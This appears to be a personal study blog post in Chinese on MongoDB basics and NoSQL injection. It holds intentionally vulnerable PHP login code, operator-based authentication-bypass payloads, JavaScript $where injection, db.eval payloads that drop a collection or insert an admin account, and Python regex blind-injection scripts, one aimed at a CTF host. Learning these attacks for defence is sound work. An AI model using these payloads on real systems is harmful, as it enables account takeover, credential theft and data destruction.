NoSQL和MongoDB
前言
参考Nosql 注入从零到一 - 先知社区 (aliyun.com)
直接看参考文章就行
内容偷懒有删减,写文章是为了让自己坚持看完并且本地保存一下罢了
什么是 Nosql
NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。NoSQL 是一项全新的数据库革命性运动,早期就有人提出,发展至 2009 年趋势越发高涨。NoSQL的拥护者们提倡运用非关系型的数据存储,相对于铺天盖地的关系型数据库运用,这一概念无疑是一种全新的思维的注入。
什么是 MongoDB
MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 19,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
MongoDB 基础概念解析
不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:
SQL 概念 | MongoDB 概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
database
$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> show dbs //展示所有数据库
admin 0.078GB
config 0.078GB
local 0.078GB
> db //显示当前数据库对象
test
>
文档(Document)
文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。
一个简单的文档例子如下:
{"name":"whoami", "age":19}
集合(Collection)
集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
比如,我们可以将以下不同数据结构的文档插入到集合中:
{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}
使用 show collections
或 show tables
命令查看已有集合
> show collections
all_users
> show tables
all_users
>
基础语法
如果数据库不存在,则创建数据库,否则切连接并换到指定数据库
use users
创建集合
db.createCollection(name, options)
> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>
> db.all_users.insert({name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
在 MongoDB 中我们可以使用 update()
或 save()
方法来更新集合中的文档
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
> db.lover.update({'age':19}, {$set:{'age':20}})
WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0 })
>
> db.all_users.find().pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
以上语句只会修改第一条发现的文档,如果你要修改多条相同的文档,则需要设置 multi 参数为 true。
> db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
db.collection.save(
<document>,
{
writeConcern: <document>
}
)
> db.all_users.save({
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 21,
"status" : "A",
"groups" : [
"admins",
"users"
]
})
db.collection.find(query, projection)
> db.all_users.find({"age":"20"})
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : "20", "status" : "A", "groups" : [ "admins", "users" ] }
可以使用 pretty() 方法以格式化的方式来显示所有文档
> db.all_users.find({"age":20}).pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
操作 | 格式 | 范例 | RDBMS 中的类似语句 |
---|---|---|---|
等于 | {<key>:<value>} |
db.love.find({"name":"whoami"}).pretty() |
where name = 'whoami' |
小于 | {<key>:{$lt:<value>}} |
db.love.find({"age":{$lt:19}}).pretty() |
where age < 19 |
小于或等于 | {<key>:{$lte:<value>}} |
db.love.find({"age":{$lte:19}}).pretty() |
where likes <= 19 |
大于 | {<key>:{$gt:<value>}} |
db.love.find({"age":{$gt:19}}).pretty() |
where likes > 19 |
大于或等于 | {<key>:{$gte:<value>}} |
db.love.find({"age":{$gte:19}}).pretty() |
where likes >= 19 |
不等于 | {<key>:{$ne:<value>}} |
db.love.find({"age":{$ne:19}}).pretty() |
where likes != 19 |
OR条件
> db.col.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty()
> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }
>
NoSQL 注入的分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。
- 重言式注入
使生成的表达式判定结果永远为真
- 联合查询注入
联合查询最常用的用法是绕过认证页面获取数据。
- JavaScript 注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
- 盲注
当页面没有回显时,那么我们可以通过 $regex
正则表达式来达到和传统 SQL 注入中 substr()
函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。
PHP的MongoDB注入
搭建环境看参考文章吧,不怎么想尝试,记个结果吧
重言式
服务端
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
对查询内容无限制
我们可以通过 $ne
关键字 (不等于)构造一个永真的条件就可以完成 NoSQL 注入:
username[$ne]=1&password[$ne]=1
> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
同样的,我们也可以使用下面这些作为 payload 进行攻击:
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
参考上面的表达式表格
联合查询
假设后端的 MongoDB 查询语句使用了字符串拼接:
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
拼接入查询语句后相当于执行了:
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 ()
内的条件总是永真的。
javascript
在 MongoDB 中,$where
操作符可以用来执行 JavaScript 代码
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 $where
关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData
获取查询条件:
db.users.find({ $where: "function(){return(this.username == $userData)}" })
然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000)
,此时 MongoDB 执行的查询语句为:
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })
如果此时服务器有 5 秒钟的延迟则说明注入成功。
测试的服务端代码
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
- MongoDB 2.4 之前
在 MongoDB 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
- MongoDB 2.4 之后
MongoDB 2.4 之后 db
属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:
username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
")
我们从代码中可以看出,password 中的 return true
使得整个 JavaScript 代码提前结束并返回了 true
,这样就构造出了一个永真的条件并完成了 NoSQL 注入
使用 Command 方法造成的注入
在 MongoDB 的服务器端可以通过 db.eval
方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval
在服务器端来运行
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>
这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 payload:
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多了。
盲注
当页面没有回显时,那么我们可以通过 $regex
正则表达式来进行盲注, $regex
可以达到和传统 SQL 注入中 substr()
函数相同的功能
感觉正则比表达式方便多了
服务端
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......
知道 password 的长度之后我们便可以逐位提取 password 的字符了:
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
盲注脚本
import requests
import string
password = ''
url = 'http://192.168.226.148/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
# 输出如下:
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456
nodejs中的MongoDB注入
在处理 MongoDB 查询时,经常会使用 JSON格式将用户提交的数据发送到服务端,如果目标过滤了 $ne
等关键字,我们可以使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}
例题
登录框
构造
{"username":{"$ne":1},"password": {"$ne":1}}
通过 Nosql 盲注,让我们把 admin 的密码爆出来
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
# 输出:
# [+] 4
# [+] 42
# [+] 422
# [+] 4227
# [+] 42276
# [+] 422766
# ......
# [+] 42276606202db06ad1f29ab6b4a1
# [+] 42276606202db06ad1f29ab6b4a13
# [+] 42276606202db06ad1f29ab6b4a130
# [+] 42276606202db06ad1f29ab6b4a1307
# [+] 42276606202db06ad1f29ab6b4a1307f